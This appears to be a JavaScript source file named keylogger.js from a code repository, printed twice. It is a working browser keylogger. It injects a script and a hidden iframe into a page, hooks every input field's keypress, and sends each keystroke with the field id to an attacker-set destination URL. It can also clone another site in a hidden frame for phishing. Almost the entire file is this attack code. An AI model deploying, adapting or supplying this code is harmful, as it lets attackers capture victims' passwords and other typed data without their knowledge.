JeppeLeth/keylogger.js

## keylogger.js
// Copyright John Leitch 2010 john.leitch5@gmail.com
var destination = null;
var useClone = false;
var cloneSource = null;
var cloneDelay = 1000;

function hookInputs() {
    var frame = document.getElementById('overlayFrame');

    var keyPressScript =
        '<script>' +
            'var l = Math.random().toString().substring(2);' +
            'function relayKeyPress(e) {' +
                'var fc = document.getElementById("frameContainer");' +
                'var x = String.fromCharCode(e.keyCode);' +
                'var y = String.fromCharCode(e.which);' +
                'var k = e.keyCode ? x : y;' +
                'var f = \'' + destination +
                    '\' + escape(k) + \',\' + ' +
                    '(e.srcElement ? e.srcElement.id : e.target.id) + ' +
                    '\',\' + l;' +
                'fc.src = f;' +
            '};' +
        '</\x73cript>';

    var iframe = '<iframe id="frameContainer" style="display:none;"></iframe>';

    var sourceDoc = useClone ? frame.contentDocument : document;

    var html = sourceDoc.getElementsByTagName('html')[0].innerHTML;

    html = html.replace(/<head([^>]*)>/i, '<head $1>' + keyPressScript);
    html = html.replace(/<body([^>]*)>/i, '<body $1>' + iframe);
    html = html.replace(/<input/gi, '<input onkeypress="relayKeyPress(event)" ');

    document.clear();
    document.write(html);
}

window.onload = function() {
    if (destination == null) {
        alert('destination not set');

        return;
    }

    if (useClone) {

        if (cloneSource == null) {
            alert('cloneSource not set');
            return;
        }

        document.body.innerHTML +=
            '<iframe style="display:none;" id="overlayFrame" src="' +
                cloneSource + '"></iframe>';

        setTimeout("hookInputs()", cloneDelay);
    }
    else
        hookInputs();
};
	// Copyright John Leitch 2010 john.leitch5@gmail.com
	var destination = null;
	var useClone = false;
	var cloneSource = null;
	var cloneDelay = 1000;

	function hookInputs() {
	var frame = document.getElementById('overlayFrame');

	var keyPressScript =
	'<script>' +
	'var l = Math.random().toString().substring(2);' +
	'function relayKeyPress(e) {' +
	'var fc = document.getElementById("frameContainer");' +
	'var x = String.fromCharCode(e.keyCode);' +
	'var y = String.fromCharCode(e.which);' +
	'var k = e.keyCode ? x : y;' +
	'var f = \'' + destination +
	'\' + escape(k) + \',\' + ' +
	'(e.srcElement ? e.srcElement.id : e.target.id) + ' +
	'\',\' + l;' +
	'fc.src = f;' +
	'};' +
	'</\x73cript>';

	var iframe = '<iframe id="frameContainer" style="display:none;"></iframe>';

	var sourceDoc = useClone ? frame.contentDocument : document;

	var html = sourceDoc.getElementsByTagName('html')[0].innerHTML;

	html = html.replace(/<head([^>]*)>/i, '<head $1>' + keyPressScript);
	html = html.replace(/<body([^>]*)>/i, '<body $1>' + iframe);
	html = html.replace(/<input/gi, '<input onkeypress="relayKeyPress(event)" ');

	document.clear();
	document.write(html);
	}

	window.onload = function() {
	if (destination == null) {
	alert('destination not set');

	return;
	}

	if (useClone) {

	if (cloneSource == null) {
	alert('cloneSource not set');
	return;
	}

	document.body.innerHTML +=
	'<iframe style="display:none;" id="overlayFrame" src="' +
	cloneSource + '"></iframe>';

	setTimeout("hookInputs()", cloneDelay);
	}
	else
	hookInputs();
	};